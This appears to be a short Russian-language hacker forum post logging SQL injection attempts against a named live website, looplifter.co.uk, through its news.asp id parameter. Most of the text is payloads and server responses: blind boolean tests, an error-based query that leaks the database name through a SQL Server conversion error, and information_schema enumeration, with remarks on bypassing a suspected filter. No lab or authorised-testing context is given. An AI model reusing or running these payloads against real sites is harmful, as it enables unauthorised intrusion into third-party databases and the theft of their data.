pinch
http://www.looplifter.co.uk/news.asp?id=5
1. слепая sql:
http://www.looplifter.co.uk/news.asp?id=5 and '1'=(select 1)
=> так же как и при id=5
http://www.looplifter.co.uk/news.asp?id=5 and '1'=(select 2)
=> пусто
2.
http://www.looplifter.co.uk/news.asp?id=5 and 0<(select db_name())--
=>
Microsoft OLE DB Provider for SQL Server error '80040e07'
Syntax error converting the nvarchar value
'Looplifter' to a column of data type int.
/news.asp, line 355
==> не такая уж и слепая
http://www.looplifter.co.uk/news.asp?id=5 and 0<(select count(*) from information_schema.
columns)--
=> так же как и при id=5
http://www.looplifter.co.uk/news.asp?id=5 and 0<(select count(*) from information_schema.
tables)--
=> пусто
http://www.looplifter.co.uk/news.asp?id=5 and 0<(select count(*) from information_schema.columns) and '0'<(select count(*) from information_schema.tables)--
=> пусто
http://www.looplifter.co.uk/news.asp?id=5 and 0<(select count(*) from information_schema.columns) and '0'<(select
'count(*) from information_schema.tables
')--
=> так же как и при id=5
==> наврятли там какой-то уж очень интеллектуальный фильтр, может просто запрещены права юзеру Looplifter на чтение information_schema.tables ?